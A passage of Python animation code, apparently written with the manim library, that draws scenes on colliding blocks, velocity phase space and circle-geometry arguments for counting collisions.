block.v_label.get_height() > max_height:\n                block.v_label.set_height(max_height)\n            block.v_label.next_to(\n                block.arrow.get_start(), UP,\n                buff=SMALL_BUFF,\n            )\n        return blocks\n\n    def block_to_v_vector(self, block):\n        return block.velocity * self.v_arrow_scale_value * RIGHT\n\n    def blocks_are_hitting(self):\n        x1 = self.block1.get_left()[0]\n        x2 = self.block2.get_right()[0]\n        buff = 0.01\n        return (x1 < x2 + buff)\n\n    def block2_is_hitting_wall(self):\n        x2 = self.block2.get_left()[0]\n        buff = 0.01\n        return (x2 < self.wall_x + buff)\n\n    def get_velocities(self):\n        m1 = self.block1.mass\n        m2 = self.block2.mass\n        vps_coords = self.vps_point.get_location()\n        return [\n            vps_coords[0] / np.sqrt(m1),\n            vps_coords[1] / np.sqrt(m2),\n        ]\n\n    def transfer_momentum(self):\n        m1 = self.block1.mass\n        m2 = self.block2.mass\n        theta = np.arctan(np.sqrt(m2 / m1))\n        self.reflect_block2()\n        self.vps_point.rotate(2 * theta, about_point=ORIGIN)\n\n    def reflect_block2(self):\n        self.vps_point.points[:, 1] *= -1\n\n    def halt(self):\n        self.is_halted = True\n\n    def unhalt(self):\n        self.is_halted = False\n\n\nclass IntroduceVelocityPhaseSpace(AskAboutFindingNewVelocities):\n    CONFIG = {\n        \"wall_height\": 1.5,\n        \"floor_y\": -3.5,\n        \"block1_start_x\": 5,\n        \"block2_start_x\": 0,\n        \"axes_config\": {\n            \"x_axis_config\": {\n                \"x_min\": -5.5,\n                \"x_max\": 6,\n            },\n            \"y_axis_config\": {\n                \"x_min\": -3.5,\n                \"x_max\": 4,\n            },\n            \"axis_config\": {\n                \"unit_size\": 0.7,\n            },\n        },\n        \"momentum_line_scale_factor\": 4,\n    }\n\n    def construct(self):\n        self.add_wall_floor_and_blocks()\n        self.show_two_equations()\n        self.draw_axes()\n        self.draw_ellipse()\n        self.rescale_axes()\n        self.show_starting_point()\n        self.show_initial_collide()\n        self.ask_about_where_to_land()\n        self.show_conservation_of_momentum_equation()\n        self.show_momentum_line()\n        self.reiterate_meaning_of_line_and_circle()\n        self.reshow_first_jump()\n        self.show_bounce_off_wall()\n        self.show_reflection_about_x()\n        self.show_remaining_collisions()\n\n    def add_wall_floor_and_blocks(self):\n        self.add_floor()\n        self.add_wall()\n        self.add_blocks()\n        self.halt()\n\n    def show_two_equations(self):\n        equations = self.get_energy_and_momentum_expressions()\n        equations.arrange(DOWN, buff=LARGE_BUFF)\n        equations.shift(UP)\n        v1_terms, v2_terms = v_terms = VGroup(*[\n            VGroup(*[\n                expr.get_parts_by_tex(tex)\n                for expr in equations\n            ])\n            for tex in (\"v_1\", \"v_2\")\n        ])\n        for eq in equations:\n            eq.highlighted_copy = eq.copy()\n            eq.highlighted_copy.set_fill(opacity=0)\n            eq.highlighted_copy.set_stroke(YELLOW, 3)\n\n        self.add(equations)\n        self.play(\n            ShowCreation(equations[0].highlighted_copy),\n            run_time=0.75,\n        )\n        self.play(\n            FadeOut(equations[0].highlighted_copy),\n            ShowCreation(equations[1].highlighted_copy),\n            run_time=0.75,\n        )\n        self.play(\n            FadeOut(equations[1].highlighted_copy),\n            run_time=0.75,\n        )\n        self.play(LaggedStartMap(\n            Indicate, v_terms,\n            lag_ratio=0.75,\n            rate_func=there_and_back,\n        ))\n        self.wait()\n\n        self.equations = equations\n\n    def draw_axes(self):\n        equations = self.equations\n        energy_expression, momentum_expression = equations\n\n        axes = self.axes = Axes(**self.axes_config)\n        axes.to_edge(UP, buff=SMALL_BUFF)\n        axes.set_stroke(width=2)\n\n        # Axes labels\n        x_axis_labels = VGroup(\n            TexMobject(\"x = \", \"v_1\"),\n            TexMobject(\"x = \", \"\\\\sqrt{m_1}\", \"\\\\cdot\", \"v_1\"),\n        )\n        y_axis_labels = VGroup(\n            TexMobject(\"y = \", \"v_2\"),\n            TexMobject(\"y = \", \"\\\\sqrt{m_2}\", \"\\\\cdot\", \"v_2\"),\n        )\n        axis_labels = self.axis_labels = VGroup(x_axis_labels, y_axis_labels)\n        for label_group in axis_labels:\n            for label in label_group:\n                label.set_color_by_tex(\"v_\", RED)\n                label.set_color_by_tex(\"m_\", BLUE)\n        for label in x_axis_labels:\n            label.next_to(axes.x_axis.get_right(), UP)\n        for label in y_axis_labels:\n            label.next_to(axes.y_axis.get_top(), DR)\n\n        # Introduce axes and labels\n        self.play(\n            equations.scale, 0.8,\n            equations.to_corner, UL, {\"buff\": MED_SMALL_BUFF},\n            Write(axes),\n        )\n        self.wait()\n        self.play(\n            momentum_expression.set_fill, {\"opacity\": 0.2},\n            Indicate(energy_expression, scale_factor=1.05),\n        )\n        self.wait()\n        for n in range(2):\n            tex = \"v_{}\".format(n + 1)\n            self.play(\n                TransformFromCopy(\n                    energy_expression.get_part_by_tex(tex),\n                    axis_labels[n][0].get_part_by_tex(tex),\n                ),\n                FadeInFromDown(axis_labels[n][0][0]),\n            )\n\n        # Show vps_dot\n        vps_dot = self.vps_dot = Dot(color=RED)\n        vps_dot.set_stroke(BLACK, 2, background=True)\n        vps_dot.add_updater(\n            lambda m: m.move_to(axes.coords_to_point(\n                *self.get_velocities()\n            ))\n        )\n\n        vps_point = self.vps_point\n        vps_point.save_state()\n        kwargs = {\n            \"path_arc\": PI / 3,\n            \"run_time\": 2,\n        }\n        target_locations = [\n            6 * RIGHT + 2 * UP,\n            6 * RIGHT + 2 * DOWN,\n            6 * LEFT + 1 * UP,\n        ]\n        self.add(vps_dot)\n        for target_location in target_locations:\n            self.play(\n                vps_point.move_to, target_location,\n                **kwargs,\n            )\n        self.play(Restore(vps_point, **kwargs))\n        self.wait()\n\n    def draw_ellipse(self):\n        vps_dot = self.vps_dot\n        vps_point = self.vps_point\n        axes = self.axes\n        energy_expression = self.equations[0]\n\n        ellipse = self.ellipse = Circle(color=YELLOW)\n        ellipse.set_stroke(BLACK, 5, background=True)\n        ellipse.rotate(PI)\n        mass_ratio = self.block1.mass / self.block2.mass\n        ellipse.replace(\n            Polygon(*[\n                axes.coords_to_point(x, y * np.sqrt(mass_ratio))\n                for x, y in [(1, 0), (0, 1), (-1, 0), (0, -1)]\n            ]),\n            stretch=True\n        )\n\n        self.play(Indicate(energy_expression, scale_factor=1.05))\n        self.add(ellipse, vps_dot)\n        self.play(\n            ShowCreation(ellipse),\n            Rotating(vps_point, about_point=ORIGIN),\n            run_time=6,\n            rate_func=lambda t: smooth(t, 3),\n        )\n        self.wait()\n\n    def rescale_axes(self):\n        ellipse = self.ellipse\n        axis_labels = self.axis_labels\n        equations = self.equations\n        vps_point = self.vps_point\n        vps_dot = self.vps_dot\n        vps_dot.clear_updaters()\n        vps_dot.add_updater(\n            lambda m: m.move_to(ellipse.get_left())\n        )\n\n        mass_ratio = self.block1.mass / self.block2.mass\n        brief_circle = ellipse.copy()\n        brief_circle.stretch(np.sqrt(mass_ratio), 0)\n        brief_circle.set_stroke(WHITE, 2)\n\n        xy_equation = self.xy_equation = TexMobject(\n            \"\\\\frac{1}{2}\",\n            \"\\\\left(\", \"x^2\", \"+\", \"y^2\", \"\\\\right)\",\n            \"=\", \"\\\\text{const.}\"\n        )\n        xy_equation.scale(0.8)\n        xy_equation.next_to(equations[0], DOWN)\n\n        self.play(ShowCreationThenFadeOut(brief_circle))\n        for i, labels, block in zip(it.count(), axis_labels, self.blocks):\n            self.play(ShowCreationThenFadeAround(labels[0]))\n            self.play(\n                ReplacementTransform(labels[0][0], labels[1][0]),\n                ReplacementTransform(labels[0][-1], labels[1][-1]),\n                FadeInFromDown(labels[1][1:-1]),\n                ellipse.stretch, np.sqrt(block.mass), i,\n            )\n            self.wait()\n\n        vps_dot.clear_updaters()\n        vps_dot.add_updater(\n            lambda m: m.move_to(self.axes.coords_to_point(\n                *self.vps_point.get_location()[:2]\n            ))\n        )\n\n        self.play(\n            FadeInFrom(xy_equation, UP),\n            FadeOut(equations[1])\n        )\n        self.wait()\n        curr_x = vps_point.get_location()[0]\n        for x in [0.5 * curr_x, 2 * curr_x, curr_x]:\n            axes_center = self.axes.coords_to_point(0, 0)\n            self.play(\n                vps_point.move_to, x * RIGHT,\n                UpdateFromFunc(\n                    ellipse,\n                    lambda m: m.set_width(\n                        2 * get_norm(\n                            vps_dot.get_center() - axes_center,\n                        ),\n                    ).move_to(axes_center)\n                ),\n                run_time=2,\n            )\n        self.wait()\n\n    def show_starting_point(self):\n        vps_dot = self.vps_dot\n        block1, block2 = self.blocks\n\n        self.unhalt()\n        self.wait(3)\n        self.halt()\n        self.play(ShowCreationThenFadeAround(vps_dot))\n        self.wait()\n\n    def show_initial_collide(self):\n        self.unhalt()\n        self.go_through_next_collision()\n        self.wait()\n        self.halt()\n        self.wait()\n\n    def ask_about_where_to_land(self):\n        self.play(\n            Rotating(\n                self.vps_point,\n                about_point=ORIGIN,\n                run_time=6,\n                rate_func=lambda t: smooth(t, 3),\n            ),\n        )\n        self.wait(2)\n\n    def show_conservation_of_momentum_equation(self):\n        equations = self.equations\n        energy_expression, momentum_expression = equations\n        momentum_expression.set_fill(opacity=1)\n        momentum_expression.shift(MED_SMALL_BUFF * UP)\n        momentum_expression.shift(MED_SMALL_BUFF * LEFT)\n        xy_equation = self.xy_equation\n\n        momentum_xy_equation = self.momentum_xy_equation = TexMobject(\n            \"\\\\sqrt{m_1}\", \"x\", \"+\",\n            \"\\\\sqrt{m_2}\", \"y\", \"=\",\n            \"\\\\text{const.}\",\n        )\n        momentum_xy_equation.set_color_by_tex(\"m_\", BLUE)\n        momentum_xy_equation.scale(0.8)\n        momentum_xy_equation.next_to(\n            momentum_expression, DOWN,\n            buff=MED_LARGE_BUFF,\n            aligned_edge=RIGHT,\n        )\n\n        self.play(\n            FadeOut(xy_equation),\n            energy_expression.set_fill, {\"opacity\": 0.2},\n            FadeInFromDown(momentum_expression)\n        )\n        self.play(ShowCreationThenFadeAround(momentum_expression))\n        self.wait()\n        self.play(FadeInFrom(momentum_xy_equation, UP))\n        self.wait()\n\n    def show_momentum_line(self):\n        vps_dot = self.vps_dot\n        m1 = self.block1.mass\n        m2 = self.block2.mass\n        line = Line(np.sqrt(m2) * LEFT, np.sqrt(m1) * DOWN)\n        line.scale(self.momentum_line_scale_factor)\n        line.set_stroke(GREEN, 3)\n        line.move_to(vps_dot)\n\n        slope_label = TexMobject(\n            \"\\\\text{Slope =}\", \"-\\\\sqrt{\\\\frac{m_1}{m_2}}\"\n        )\n        slope_label.scale(0.8)\n        slope_label.next_to(vps_dot, LEFT, LARGE_BUFF)\n        slope_arrow = Arrow(\n            slope_label.get_right(),\n            line.point_from_proportion(0.45),\n            buff=SMALL_BUFF,\n        )\n        slope_group = VGroup(line, slope_label, slope_arrow)\n        foreground_mobs = VGroup(\n            self.equations[1], self.momentum_xy_equation,\n            self.blocks, self.vps_dot\n        )\n        for mob in foreground_mobs:\n            if isinstance(mob, TexMobject):\n                mob.set_stroke(BLACK, 3, background=True)\n\n        self.add(line, *foreground_mobs)\n        self.play(ShowCreation(line))\n        self.play(\n            FadeInFrom(slope_label, RIGHT),\n            GrowArrow(slope_arrow),\n        )\n        self.wait()\n        self.add(slope_group, *foreground_mobs)\n        self.play(slope_group.shift, 4 * RIGHT, run_time=3)\n        self.play(slope_group.shift, 5 * LEFT, run_time=3)\n        self.play(\n            slope_group.shift, RIGHT,\n            run_time=1,\n            rate_func=lambda t: t**4,\n        )\n        self.wait()\n\n        self.momentum_line = line\n        self.slope_group = slope_group\n\n    def reiterate_meaning_of_line_and_circle(self):\n        line_vect = self.momentum_line.get_vector()\n        vps_point = self.vps_point\n\n        for x in [0.25, -0.5, 0.25]:\n            self.play(\n                vps_point.shift, x * line_vect,\n                run_time=2\n            )\n        self.wait()\n        self.play(Rotating(\n            vps_point,\n            about_point=ORIGIN,\n            rate_func=lambda t: smooth(t, 3),\n        ))\n        self.wait()\n\n    def reshow_first_jump(self):\n        vps_point = self.vps_point\n        curr_point = vps_point.get_location()\n        start_point = get_norm(curr_point) * LEFT\n\n        for n in range(8):\n            vps_point.move_to(\n                [start_point, curr_point][n % 2]\n            )\n            self.wait(0.5)\n        self.wait()\n\n    def show_bounce_off_wall(self):\n        self.unhalt()\n        self.go_through_next_collision()\n        self.halt()\n\n    def show_reflection_about_x(self):\n        vps_point = self.vps_point\n\n        curr_location = vps_point.get_location()\n        old_location = np.array(curr_location)\n        old_location[1] *= -1\n\n        # self.play(\n        #     ApplyMethod(\n        #         self.block2.move_to, self.wall.get_corner(DR), DL,\n        #         path_arc=30 * DEGREES,\n        #     )\n        # )\n        for n in range(4):\n            self.play(\n                vps_point.move_to,\n                [old_location, curr_location][n % 2]\n            )\n        self.wait()\n\n        group = VGroup(\n            self.ellipse,\n            self.lines[-1],\n            self.vps_dot.copy().clear_updaters()\n        )\n        for x in range(2):\n            self.play(\n                Rotate(\n                    group, PI, RIGHT,\n                    about_point=self.axes.coords_to_point(0, 0)\n                ),\n            )\n        self.remove(group[-1])\n\n    def show_remaining_collisions(self):\n        line = self.momentum_line\n        # slope_group = self.slope_group\n        vps_dot = self.vps_dot\n        axes = self.axes\n        slope = np.sqrt(self.block2.mass / self.block1.mass)\n\n        end_region = Polygon(\n            axes.coords_to_point(0, 0),\n            axes.coords_to_point(10, 0),\n            axes.coords_to_point(10, slope * 10),\n            stroke_width=0,\n            fill_color=GREEN,\n            fill_opacity=0.3\n        )\n\n        self.unhalt()\n        for x in range(7):\n            self.go_through_next_collision()\n            if x == 0:\n                self.halt()\n                self.play(line.move_to, vps_dot)\n                self.wait()\n                self.unhalt()\n        self.play(FadeIn(end_region))\n        self.go_through_next_collision()\n        self.wait(5)\n\n    # Helpers\n    def add_update_line(self, func):\n        if not hasattr(self, \"lines\"):\n            self.lines = VGroup()\n        if hasattr(self, \"vps_dot\"):\n            old_vps_point = self.vps_dot.get_center()\n            func()\n            self.vps_dot.update()\n            new_vps_point = self.vps_dot.get_center()\n            line = Line(old_vps_point, new_vps_point)\n            line.set_stroke(WHITE, 2)\n            self.add(line)\n            self.lines.add(line)\n        else:\n            func()\n\n    def transfer_momentum(self):\n        self.add_update_line(super().transfer_momentum)\n\n    def reflect_block2(self):\n        self.add_update_line(super().reflect_block2)\n\n\nclass IntroduceVelocityPhaseSpaceWith16(IntroduceVelocityPhaseSpace):\n    CONFIG = {\n        \"block1_config\": {\n            \"mass\": 16,\n            \"velocity\": -0.5,\n        },\n        \"momentum_line_scale_factor\": 0,\n    }\n\n\nclass SimpleRect(Scene):\n    def construct(self):\n        self.add(Rectangle(width=6, height=2, color=WHITE))\n\n\nclass SurprisedRandy(Scene):\n    def construct(self):\n        randy = Randolph()\n        self.play(FadeIn(randy))\n        self.play(randy.change, \"surprised\", 3 * UR)\n        self.play(Blink(randy))\n        self.wait()\n        self.play(randy.change, \"pondering\", 3 * UR)\n        self.play(Blink(randy))\n        self.wait(2)\n        self.play(FadeOut(randy))\n\n\nclass HuntForPi(TeacherStudentsScene):\n    def construct(self):\n        self.student_says(\n            \"Hunt for $\\\\pi$!\",\n            bubble_kwargs={\"direction\": LEFT},\n            target_mode=\"hooray\"\n        )\n        self.change_all_student_modes(\n            \"hooray\",\n            added_anims=[self.teacher.change, \"happy\"]\n        )\n        self.wait()\n\n\nclass StretchBySqrt10(Scene):\n    def construct(self):\n        arrow = DoubleArrow(2 * LEFT, 2 * RIGHT)\n        arrow.tip[1].shift(0.05 * LEFT)\n        value = TexMobject(\"\\\\sqrt{10}\")\n        value.next_to(arrow, UP)\n        arrow.save_state()\n        arrow.stretch(0, 0)\n        self.play(\n            Restore(arrow),\n            Write(value, run_time=1),\n        )\n        self.wait()\n\n\nclass XCoordNegative(Scene):\n    def construct(self):\n        rect = Rectangle(height=4, width=4)\n        rect.set_stroke(width=0)\n        rect.set_fill(RED, 0.5)\n        rect.save_state()\n        rect.stretch(0, 0, about_edge=RIGHT)\n        self.play(Restore(rect))\n        self.wait()\n\n\nclass YCoordZero(Scene):\n    def construct(self):\n        rect = Rectangle(height=4, width=8)\n        rect.set_stroke(width=0)\n        rect.set_fill(WHITE, 0.5)\n        rect.save_state()\n        self.play(\n            rect.stretch, 0.01, 1,\n            rect.set_fill, {\"opacity\": 1}\n        )\n        self.wait()\n\n\nclass CircleDiagramFromSlidingBlocks(Scene):\n    CONFIG = {\n        \"BlocksAndWallSceneClass\": BlocksAndWallExampleMass1e1,\n        \"circle_config\": {\n            \"radius\": 2,\n            \"stroke_color\": YELLOW,\n            \"stroke_width\": 3,\n        },\n        \"lines_style\": {\n            \"stroke_color\": WHITE,\n            \"stroke_width\": 2,\n        },\n        \"axes_config\": {\n            \"style\": {\n                \"stroke_color\": LIGHT_GREY,\n                \"stroke_width\": 1,\n            },\n            \"width\": 5,\n            \"height\": 4.5,\n        },\n        \"end_zone_style\": {\n            \"stroke_width\": 0,\n            \"fill_color\": GREEN,\n            \"fill_opacity\": 0.3,\n        },\n        \"show_dot\": True,\n        \"show_vector\": False,\n    }\n\n    def construct(self):\n        sliding_blocks_scene = self.BlocksAndWallSceneClass(\n            show_flash_animations=False,\n            write_to_movie=False,\n            wait_time=0,\n            file_writer_config={\n                \"output_directory\": \".\",\n            }\n        )\n        blocks = sliding_blocks_scene.blocks\n        times = [pair[1] for pair in blocks.clack_data]\n        self.mass_ratio = 1 / blocks.mass_ratio\n        self.show_circle_lines(\n            times=times,\n            slope=(-1 / np.sqrt(blocks.mass_ratio))\n        )\n\n    def show_circle_lines(self, times, slope):\n        circle = self.get_circle()\n        axes = self.get_axes()\n        lines = self.get_lines(circle.radius, slope)\n        end_zone = self.get_end_zone()\n\n        dot = Dot(color=RED, radius=0.06)\n        dot.move_to(lines[0].get_start())\n\n        vector = Vector(lines[0].get_start())\n        vector.set_color(RED)\n        vector.add_updater(lambda v: v.put_start_and_end_on(\n            ORIGIN, dot.get_center()\n        ))\n        vector.set_stroke(BLACK, 2, background=True)\n\n        dot.set_opacity(int(self.show_dot))\n        vector.set_opacity(int(self.show_vector))\n\n        self.add(end_zone, axes, circle, dot, vector)\n\n        last_time = 0\n        for time, line in zip(times, lines):\n            if time > 300:\n                time = last_time + 1\n            self.wait(time - last_time)\n            last_time = time\n            dot.move_to(line.get_end())\n            self.add(line, dot, vector)\n        self.wait()\n\n    def get_circle(self):\n        circle = Circle(**self.circle_config)\n        circle.rotate(PI)  # Nice to have start point on left\n        return circle\n\n    def get_axes(self):\n        config = self.axes_config\n        axes = VGroup(\n            Line(LEFT, RIGHT).set_width(config[\"width\"]),\n            Line(DOWN, UP).set_height(config[\"height\"])\n        )\n        axes.set_style(**config[\"style\"])\n        return axes\n\n    def get_lines(self, radius, slope):\n        theta = np.arctan(-1 / slope)\n        n_clacks = int(PI / theta)\n        points = []\n        for n in range(n_clacks + 1):\n            theta_mult = (n + 1) // 2\n            angle = 2 * theta * theta_mult\n            if n % 2 == 0:\n                angle *= -1\n            new_point = radius * np.array([\n                -np.cos(angle), -np.sin(angle), 0\n            ])\n            points.append(new_point)\n\n        lines = VGroup(*[\n            Line(p1, p2)\n            for p1, p2 in zip(points, points[1:])\n        ])\n        lines.set_style(**self.lines_style)\n        return lines\n\n    def get_end_zone(self):\n        slope = 1 / np.sqrt(self.mass_ratio)\n        x = self.axes_config[\"width\"] / 2\n        zone = Polygon(\n            ORIGIN, x * RIGHT, x * RIGHT + slope * x * UP,\n        )\n        zone.set_style(**self.end_zone_style)\n        return zone\n\n\nclass CircleDiagramFromSlidingBlocksSameMass(CircleDiagramFromSlidingBlocks):\n    CONFIG = {\n        \"BlocksAndWallSceneClass\": BlocksAndWallExampleSameMass\n    }\n\n\nclass CircleDiagramFromSlidingBlocksSameMass1e1(CircleDiagramFromSlidingBlocks):\n    CONFIG = {\n        \"BlocksAndWallSceneClass\": BlocksAndWallExampleMass1e1\n    }\n\n\nclass CircleDiagramFromSlidingBlocks1e2(CircleDiagramFromSlidingBlocks):\n    CONFIG = {\n        \"BlocksAndWallSceneClass\": BlocksAndWallExampleMass1e2\n    }\n\n\nclass CircleDiagramFromSlidingBlocks1e4(CircleDiagramFromSlidingBlocks):\n    CONFIG = {\n        \"BlocksAndWallSceneClass\": BlocksAndWallExampleMass1e4\n    }\n\n\nclass AnnouncePhaseDiagram(CircleDiagramFromSlidingBlocks):\n    def construct(self):\n        pd_words = TextMobject(\"Phase diagram\")\n        pd_words.scale(1.5)\n        pd_words.move_to(self.hold_up_spot, DOWN)\n        pd_words_border = pd_words.copy()\n        pd_words_border.set_stroke(YELLOW, 2)\n        pd_words_border.set_fill(opacity=0)\n\n        simple_words = TextMobject(\"Simple but powerful\")\n        simple_words.next_to(pd_words, UP, LARGE_BUFF)\n        simple_words.shift(LEFT)\n        simple_words.set_color(BLUE)\n        simple_arrow = Arrow(\n            simple_words.get_bottom(),\n            pd_words.get_top(),\n            color=simple_words.get_color(),\n        )\n\n        self.play(\n            self.teacher.change, \"raise_right_hand\",\n            FadeInFromDown(pd_words)\n        )\n        self.change_student_modes(\n            \"pondering\", \"thinking\", \"pondering\",\n            added_anims=[ShowCreationThenFadeOut(pd_words_border)]\n        )\n        self.wait()\n        self.play(\n            FadeInFrom(simple_words, RIGHT),\n            GrowArrow(simple_arrow),\n            self.teacher.change, \"hooray\",\n        )\n        self.change_student_modes(\n            \"thinking\", \"happy\", \"thinking\",\n        )\n        self.wait(3)\n\n\nclass AnalyzeCircleGeometry(CircleDiagramFromSlidingBlocks, MovingCameraScene):\n    CONFIG = {\n        \"mass_ratio\": 16,\n        \"circle_config\": {\n            \"radius\": 3,\n        },\n        \"axes_config\": {\n            \"width\": FRAME_WIDTH,\n            \"height\": FRAME_HEIGHT,\n        },\n        \"lines_style\": {\n            \"stroke_width\": 2,\n        },\n    }\n\n    def construct(self):\n        self.add_mass_ratio_label()\n        self.add_circle_with_lines()\n        self.show_equal_arc_lengths()\n        self.use_arc_lengths_to_count()\n        self.focus_on_three_points()\n        self.show_likewise_for_all_jumps()\n        self.drop_arc_for_each_hop()\n        self.try_adding_one_more_arc()\n        self.zoom_out()\n\n    def add_mass_ratio_label(self, mass_ratio=None):\n        mass_ratio = mass_ratio or self.mass_ratio\n        mass_ratio_label = TextMobject(\n            \"Mass ratio =\", \"{:,} : 1\".format(mass_ratio)\n        )\n        mass_ratio_label.to_corner(UL, buff=MED_SMALL_BUFF)\n        self.add(mass_ratio_label)\n        self.mass_ratio_label = mass_ratio_label\n\n    def add_circle_with_lines(self):\n        circle = self.get_circle()\n        axes = self.get_axes()\n        axes_labels = self.get_axes_labels(axes)\n        slope = -np.sqrt(self.mass_ratio)\n        lines = self.get_lines(\n            radius=circle.radius,\n            slope=slope,\n        )\n        end_zone = self.get_end_zone()\n\n        end_zone_words = TextMobject(\"End zone\")\n        end_zone_words.set_height(0.25)\n        end_zone_words.next_to(ORIGIN, UP, SMALL_BUFF)\n        end_zone_words.to_edge(RIGHT, buff=MED_SMALL_BUFF)\n        end_zone_words.set_color(GREEN)\n\n        self.add(\n            axes, axes_labels,\n            circle, end_zone, end_zone_words,\n        )\n        self.play(ShowCreation(lines, run_time=3, rate_func=linear))\n        self.wait()\n\n        self.set_variables_as_attrs(\n            circle, axes, lines,\n            end_zone, end_zone_words,\n        )\n\n    def show_equal_arc_lengths(self):\n        circle = self.circle\n        radius = circle.radius\n        theta = self.theta = np.arctan(1 / np.sqrt(self.mass_ratio))\n        n_arcs = int(PI / (2 * theta))\n\n        lower_arcs = VGroup(*[\n            Arc(\n                start_angle=(PI + n * 2 * theta),\n                angle=(2 * theta),\n                radius=radius\n            )\n            for n in range(n_arcs + 1)\n        ])\n        lower_arcs[0::2].set_color(RED)\n        lower_arcs[1::2].set_color(BLUE)\n\n        upper_arcs = lower_arcs.copy()\n        upper_arcs.rotate(PI, axis=RIGHT, about_point=ORIGIN)\n        upper_arcs[0::2].set_color(BLUE)\n        upper_arcs[1::2].set_color(RED)\n\n        all_arcs = VGroup(*it.chain(*zip(lower_arcs, upper_arcs)))\n        if int(PI / theta) % 2 == 1:\n            all_arcs.remove(all_arcs[-1])\n\n        arc_copies = lower_arcs.copy()\n        for arc_copy in arc_copies:\n            arc_copy.generate_target()\n        for arc in arc_copies:\n            arc.target.rotate(-(arc.start_angle - PI + theta))\n\n        equal_signs = VGroup(*[\n            TexMobject(\"=\") for x in range(len(lower_arcs))\n        ])\n        equal_signs.scale(0.8)\n        for sign in equal_signs:\n            sign.generate_target()\n\n        movers = VGroup(*it.chain(*zip(\n            arc_copies, equal_signs\n        )))\n        movers.remove(movers[-1])\n        mover_targets = VGroup(*[mover.target for mover in movers])\n        mover_targets.arrange(RIGHT, buff=SMALL_BUFF)\n        mover_targets.next_to(ORIGIN, DOWN)\n        mover_targets.to_edge(LEFT)\n\n        equal_signs.scale(0)\n        equal_signs.fade(1)\n        equal_signs.move_to(mover_targets)\n\n        all_arcs.save_state()\n        for arc in all_arcs:\n            arc.rotate(90 * DEGREES)\n            arc.fade(1)\n            arc.set_stroke(width=20)\n        self.play(Restore(\n            all_arcs, lag_ratio=0.5,\n            run_time=2,\n        ))\n        self.wait()\n        self.play(LaggedStartMap(MoveToTarget, movers))\n        self.wait()\n\n        self.arcs_equation = movers\n        self.lower_arcs = lower_arcs\n        self.upper_arcs = upper_arcs\n        self.all_arcs = all_arcs\n\n    def use_arc_lengths_to_count(self):\n        all_arcs = self.all_arcs\n        lines = self.lines\n\n        arc_counts = VGroup()\n        for n, arc in enumerate(all_arcs):\n            count_mob = Integer(n + 1)\n            count_mob.scale(0.75)\n            buff = SMALL_BUFF\n            if len(all_arcs) > 100:\n                count_mob.scale(0.1)\n                count_mob.set_stroke(WHITE, 0.25)\n                buff = 0.4 * SMALL_BUFF\n            point = arc.point_from_proportion(0.5)\n            count_mob.next_to(point, normalize(point), buff)\n            arc_counts.add(count_mob)\n\n        self.play(\n            FadeOut(lines),\n            FadeOut(all_arcs),\n            FadeOut(self.arcs_equation),\n        )\n        self.play(\n            ShowIncreasingSubsets(all_arcs),\n            ShowIncreasingSubsets(lines),\n            ShowIncreasingSubsets(arc_counts),\n            run_time=5,\n            rate_func=bezier([0, 0, 1, 1])\n        )\n        self.wait()\n\n        for group in all_arcs, arc_counts:\n            targets = VGroup()\n            for elem in group:\n                elem.generate_target()\n                targets.add(elem.target)\n            targets.space_out_submobjects(1.2)\n\n        kwargs = {\n            \"rate_func\": there_and_back,\n            \"run_time\": 3,\n        }\n        self.play(\n            LaggedStartMap(MoveToTarget, all_arcs, **kwargs),\n            LaggedStartMap(MoveToTarget, arc_counts, **kwargs),\n        )\n\n        self.arc_counts = arc_counts\n\n    def focus_on_three_points(self):\n        lines = self.lines\n        arcs = self.all_arcs\n        arc_counts = self.arc_counts\n        theta = self.theta\n\n        arc = arcs[4]\n\n        lines.save_state()\n        line_pair = lines[3:5]\n        lines_to_fade = VGroup(*lines[:3], *lines[5:])\n\n        three_points = [\n            line_pair[0].get_start(),\n            line_pair[1].get_start(),\n            line_pair[1].get_end(),\n        ]\n        three_dots = VGroup(*map(Dot, three_points))\n        three_dots.set_color(RED)\n\n        theta_arc = Arc(\n            radius=1,\n            start_angle=-90 * DEGREES,\n            angle=theta\n        )\n        theta_arc.shift(three_points[1])\n        theta_label = TexMobject(\"\\\\theta\")\n        theta_label.next_to(theta_arc, DOWN, SMALL_BUFF)\n\n        center_lines = VGroup(\n            Line(three_points[0], ORIGIN),\n            Line(ORIGIN, three_points[2]),\n        )\n        center_lines.match_style(line_pair)\n\n        two_theta_arc = Arc(\n            radius=1,\n            start_angle=(center_lines[0].get_angle() + PI),\n            angle=2 * theta\n        )\n        two_theta_label = TexMobject(\"2\\\\theta\")\n        arc_center = two_theta_arc.point_from_proportion(0.5)\n        two_theta_label.next_to(\n            arc_center, normalize(arc_center), SMALL_BUFF\n        )\n        two_theta_label.shift(SMALL_BUFF * RIGHT)\n\n        to_fade = VGroup(arc_counts, arcs, lines_to_fade)\n\n        self.play(\n            LaggedStartMap(\n                FadeOut, VGroup(*to_fade.family_members_with_points())\n            )\n        )\n        lines_to_fade.fade(1)\n        self.play(FadeInFromLarge(three_dots[0]))\n        self.play(TransformFromCopy(*three_dots[:2]))\n        self.play(TransformFromCopy(*three_dots[1:3]))\n        self.wait()\n        self.play(\n            ShowCreation(theta_arc),\n            FadeInFrom(theta_label, UP)\n        )\n        self.wait()\n        self.play(\n            line_pair.set_stroke, WHITE, 1,\n            TransformFromCopy(line_pair, center_lines),\n            TransformFromCopy(theta_arc, two_theta_arc),\n            TransformFromCopy(theta_label, two_theta_label),\n        )\n        self.wait()\n        self.play(\n            TransformFromCopy(two_theta_arc, arc),\n            two_theta_label.move_to, 2.7 * arc_center,\n        )\n        self.wait()\n\n        self.three_dots = three_dots\n        self.theta_group = VGroup(theta_arc, theta_label)\n        self.center_lines_group = VGroup(\n            center_lines, two_theta_arc,\n        )\n        self.two_theta_label = two_theta_label\n\n    def show_likewise_for_all_jumps(self):\n        lines = self.lines\n        arcs = self.all_arcs\n\n        every_other_line = lines[::2]\n\n        self.play(\n            Restore(\n                lines,\n                lag_ratio=0.5,\n                run_time=2\n            ),\n            FadeOut(self.center_lines_group),\n            FadeOut(self.three_dots),\n        )\n        self.play(LaggedStartMap(\n            ApplyFunction, every_other_line,\n            lambda line: (\n                lambda l: l.scale(10 / l.get_length()).set_stroke(BLUE, 3),\n                line\n            )\n        ))\n        self.play(Restore(lines))\n        self.wait()\n\n        # Shift theta label\n        last_point = lines[3].get_end()\n        last_arc = arcs[4]\n        two_theta_label = self.two_theta_label\n        theta_group_copy = self.theta_group.copy()\n        for line, arc in zip(lines[5:10:2], arcs[6:11:2]):\n            new_point = line.get_end()\n            arc_point = arc.point_from_proportion(0.5)\n            self.play(\n                theta_group_copy.shift, new_point - last_point,\n                two_theta_label.move_to, 1.1 * arc_point,\n       